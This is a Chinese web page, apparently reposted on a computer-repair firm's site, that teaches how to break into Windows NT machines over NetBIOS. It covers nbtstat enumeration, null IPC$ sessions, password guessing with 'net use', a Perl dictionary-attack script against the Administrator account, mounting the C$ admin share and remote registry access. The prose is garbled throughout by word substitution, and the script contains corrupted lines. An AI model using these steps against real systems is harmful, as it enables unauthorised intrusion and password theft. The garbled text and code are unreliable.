设为主页 | 加入收藏 | 繁體中文

netbios入侵的两篇文章

  经过NetBIOS入侵
  全部的入侵都触及到以root或admin权限登录到某一盘算机或网络。入侵的第一步往往是对目的盘算机或的端口扫描(portscan)。创建在目的盘算机开放端口上的攻击是相称有用的。N T呆板的端口信息的显示和UNIX的不同。因而,一样平常能区分出目的盘算机所运转的是哪个操作系统。
  攻击NT为基础的网络时,NetBIOS是首选的进攻点。
  利用端口扫描软件,好比Sam,看看目的盘算机的端口139能否翻开。139端口是"NetBIOS session"端口,用来举行文件和打印共享的,是NT潜在的伤害。细致:运转SAMBA的Linux和UNIX系统的139端口也是翻开的,提供雷同的文件共享。找到了如许的目的盘算机后,接下来是利用" nbtstat"命令。
  NBTSTAT命令是用来询问有关NetBIOS的信息的,也能清除NetBIOS 缓冲区能的内容和将LMHOSTS文件事后装入此中。经过运转这一命令能得到很多有用信息。
  NBTSTAT命令解释:nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]开关: -a 列出给定主机名的远程盘算机的名字表(name table) -A 列出给定IP地点的远程盘算机的名字表 -c 列出远程名字缓冲区(name cache),包罗IP地点 -n 列出当地NetBIOS 名字 -r 列出经过播送(broadcast)和WINS剖析的名字
  -R 清除和重新装入远程的缓冲的名字表
  -S 列出和目的IP地点会话的表
  -s 列出会话表转换
  NBTSTAT命令的输入的每一栏都有不同的含义,它们的标题有下面几个,含义也在下面做了相应的解释:
  Input
  吸收到的字节数。
  Output
  发送的字节数。
  In/Out 这个连接是来自该盘算机(outbound)还是来自别的的系统(inbound)。
  Life
  在你的盘算机清革职字表之前存在时间。
  Local Name
  连接时当地的名字。
  Remote Host
  远程盘算机的名字或IP地点。
  Type
  一个名字可以有两种范例: unique 或group。
  NetBIOS名字的最后16个字符每每代表一些内容。因为同样的名字可以在统一盘算机呈现几次。 该范例表现名字的最后一个字节(用16进制表现)。
  State
  你的NetBIOS连接将是下面几个形态之一:
  State MeaningAccepting 正在处置惩罚一个进入的连接Associated 一个连接的端点曾经创建,你的盘算机与它以一个IP地点相关Connected 你曾经联系到了远程资源。Connecting 你的会话正试图对目的资源举行名字到IP地点的剖析Disconnected 你的盘算机发出一个断开恳求,正在等候远程盘算机的响应Disconnecting 正在竣事你的连接
  Idle 远程盘算机在当前会话曾经翻开,但现在不接受连接
  Inbound 一个inbound会话正试图连接
  Listening 远程盘算机可以利用了
  Outbound 你的会话正在创建一个TCP 连接
  Reconnecting 如果第一次失败,它会在重新连接时显示这一信息下面是一个NBTSTAT命令的实例:
  C:\>nbtstat -A x.x.x.x NetBIOS Remote Machine Name Table
  Name Type Status
  ----------------------------------------------------------------------
  DATARAT < 00> UNIQUE Registered
  R9LABS < 00> GROUP Registered
  DATARAT < 20> UNIQUE Registered
  DATARAT < 03> UNIQUE Registered
  GHOST < 03> UNIQUE Registered
  DATARAT < 01> UNIQUE Registered
  MAC Address = 00-00-00-00-00-00
  下面的输入是什么意思呢?尤其是Type这一栏,代表的是什么呢。再看看下面的表,它能报告你什么?
  Name Number Type Usage=====================================================< computername> 00 U Workstation Service< computername> 01 U Messenger Service< \\_MSBROWSE_> 01 G Master Browser< computername> 03 U Messenger Service
  < computername> 06 U RAS Server Service
  < computername> 1F U NetDDE Service
  < computername> 20 U File Server Service
  < computername> 21 U RAS Client Service
  < computername> 22 U Exchange Interchange
  < computername> 23 U Exchange Store
  < computername> 24 U Exchange Directory
  < computername> 30 U Modem Sharing Server Service
  < computername> 31 U Modem Sharing Client Service
  < computername> 43 U SMS Client Remote Control
  < computername> 44 U SMS Admin Remote Control Tool
  < computername> 45 U SMS Client Remote Chat
  < computername> 46 U SMS Client Remote Transfer
  < computername> 4C U DEC Pathworks TCPIP Service
  < computername> 52 U DEC Pathworks TCPIP Service
  < computername> 87 U Exchange MTA
  < computername> 6A U Exchange IMC
  < computername> BE U Network Monitor Agent
  < computername> BF U Network Monitor Apps
  < username> 03 U Messenger Service
  < domain> 00 G Domain Name
  < domain> 1B U Domain Master Browser
  < domain> 1C G Domain Controllers
  < domain> 1D U Master Browser
  < domain> 1E G Browser Service Elections
  < INet~Services> 1C G Internet Information Server
  < IS~Computer_name> 00 U Internet Information Server
  < computername> [2B] U Lotus Notes Server
  IRISMULTICAST [2F] G Lotus Notes
  IRISNAMESERVER [33] G Lotus Notes
  Forte_$ND800ZA [20] U DCA Irmalan Gateway Service
  Unique (U): 名字(name )可能只分配了一个IP地点。在一个网络设置装备摆设上,屡次呈现一个名字曾经被注册,但后缀是独一的,从而整个条目就是独一的。
  Group (G): 普通的组(group),统一个名字可能存在多个IP地点。Multihomed (M): 名字(name)是独一的,但由于在统一盘算机上有多个网络接口,这个配置在容许注册时是必须的。地点的数量最多25个。Internet Group (I): 这是组名字的一个特别配置,用于WinNT的域名的办理。Domain Name (D): NT 4.0里新增的。
  这个表是对NBTSTAT输入中Type的解释。经过细致分析NBTSTAT命令的输入,就能网络到目的盘算机的很多信息。经过分析,就能发现目的盘算机正在运转什么服务,乃至可以分析安装的软件包是什么。从而就能找到空隙可以利用。下一步就是从远程盘算机网络可能的用户名。一个网络登录分成两个部分:用户名和口令。一旦一个入侵者晓得了用户名,他就等于成功了一半。
  经过分析NBTSTAT的命令输入,入侵者就能得就任何登录到那台盘算机上的用户名。在NBTSTAT输入里,范例(Type)为< 03>的就是用户名或盘算机名。范例(Type)为< 20>的就表现它是一个共享的资源。
  IPC$(Inter-Process Communication)共享是NT盘算机上的一个尺度的隐含共享,它是用于服务器之间的通讯的。NT盘算机经过利用这个共享来和其他的盘算机连接得到不同范例的信息的。入侵者每每利用这一点来,经过利用空的I PC会话举行攻击。
  有一个一个比较好的IPC会话东西:RedButton。 它是个很机灵的程序,能登录到NT系统而不会显示用户名和口令。这个东西运转情况是NT。运转这个程序,将看就任何可能的共享,包罗任何隐蔽的a dmin共享(ie, shares以"$"竣事。默认的,有几个如许的可以得到的共享...C$,WINNT$,IPC$等等)。
  细致:IPC$共享不是一个目录,磁盘或打印机意义上的共享。你看到的"$",它是默认的在系统启动时的admin共享。IPC是指"interproce ss communications"。IPC$共享提供了登录到系统的能力。细致,你试图经过IPC$连接会在EventLog中留下记载。不管你能否登录成功。
  入侵者利用下面的命令对IPC$实施攻击:
  c:\>net use \\[目的呆板的IP地点]\ipc$ /user:< name> < passwd>
  当这个连接创建后,要将username和password送去加以确认。如果你以"Administrator"登录,则必要举行口令猜测。
  可以重复利用'net'命令,举行username和password猜测:
  c:\>net use \\xxx.xxx.xxx.xxx\ipc$ /user:< name> < passwd>
  也可以利用剧本语句:
  open(IPC, "net use \\xxx.xxx.xxx.xxx\ipc$ /user:< name> < passwd> | ");
  NAT东西能自动完成上述功能。NAT是经过读取字典文件中的口令,举行重复登录,从而获取帐号。固然,可以编写一个脚原来完成NAT的功能。
  Perl是一种很好的言语,是解释性的,如Java,但运转速度比Java快。同时,Unix系统能解释它。现在,95和NT版的Perl也曾经推出。
  下面这个剧本程序可以用来举行帐号和口令猜测。
  ----- begin script -----
  # ipcchk.plx
  # 该剧本从一个文本文件读入单词,并将该单词作为用户名和口令,举行
  # IPC$连接。成功的连接保存到一个log文件。该剧本不查抄输入参数的
  # 有用性,因而必须输入目的呆板的正当的IP地点。
  #
  # 用法: c:\>perl ipcchk.plx [目的呆板的IP地点]
  open(TEST, "names.txt") | | die "Could not open file.";
  open(LOG,">>ipc.log") | | die "Could not open log.";
  if (length($ARGV[0]) == 0) {
  print "Usage: perl ipcchk.plx [ipaddr]";
  exit(0);
  }
  $server = ARGV[0];
  while(< TEST> ) {
  $name = $_;
  chop($name);
  # print "net use \\\\$server\\ipc\$ /userdministrator $name | \n";
  open(IPC, "net use \\\\$server\\ipc\$ /userdministrator $name | ");
  while(< IPC> ) {
  if (grep(/successfully/,$_)) {
  print LOG "$server accepts connections for password $name\n";
  # delete a successful connection to avoid multiple connections to
  # the same machine
  open(DEL, "net use \\\\$server\\ipc\$ /d | ");
  }
  }
  ----- end script -----
  固然,你只需晓得原理,可以用C言语或BASIC言语,编写一个具有上述功能的程序。
  一旦进入,就不仅仅是能够网络用户名了。还能做很多其他事情。
  接下来,入侵者会试图看看目的盘算机上有那些共享的资源可以利用。可以利用下面一个命令:
  c:\>net view \\[目的盘算机的IP地点]
  凭据目的盘算机的宁静策略,这个命令有可能被回绝。看看下面的例子:
  C:\>net view \\0.0.0.0System error 5 has occurred.Access is denied.
  C:\>net use \\0.0.0.0\ipc$ "" /user:""The command completed successfully.C:\>net view \\0.0.0.0
  Shared resources at \\0.0.0.0
  Share name Type Used as Comment
  -------------------------------------------------------------------------------
  Accelerator Disk Agent Accelerator share for Seagate backup
  Inetpub Disk
  mirc Disk
  NETLOGON Disk Logon server share
  www_pages Disk
  该命令顺遂地完成了。
  从下面的例子可见,直到空IPC会话成功创建后,服务器的共享资源列表才气访问到。在此时,你可能会想到,如许的IPC连接会有多伤害呢,但现在为止我们的有关I PC的知识还是很基本的。我们仅仅开端研究IPC共享的可能性。
  如果有其它共享资源,可以用net命令举行连接。
  c:\>net use x: \\[ipaddr]\[share]
  如果不行,用上述举行的攻击要领。
  一旦IPC$共享顺遂完成,下一个命令是:
  c:\>net use g: \\xxx.xxx.xxx.xxx\c$
  得到了C$共享,并将该目录映射到g:,键入:
  c:\>dir g: /p
  就能显示这个目录的全部内容。
  成功地举行了IPC$连接后,点击Start -> Run,键入regedit。选择Registry -> Connect Network Registry,再键入那台呆板的IP地点。纷歧会,就能看目的盘算机的的Registry了
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: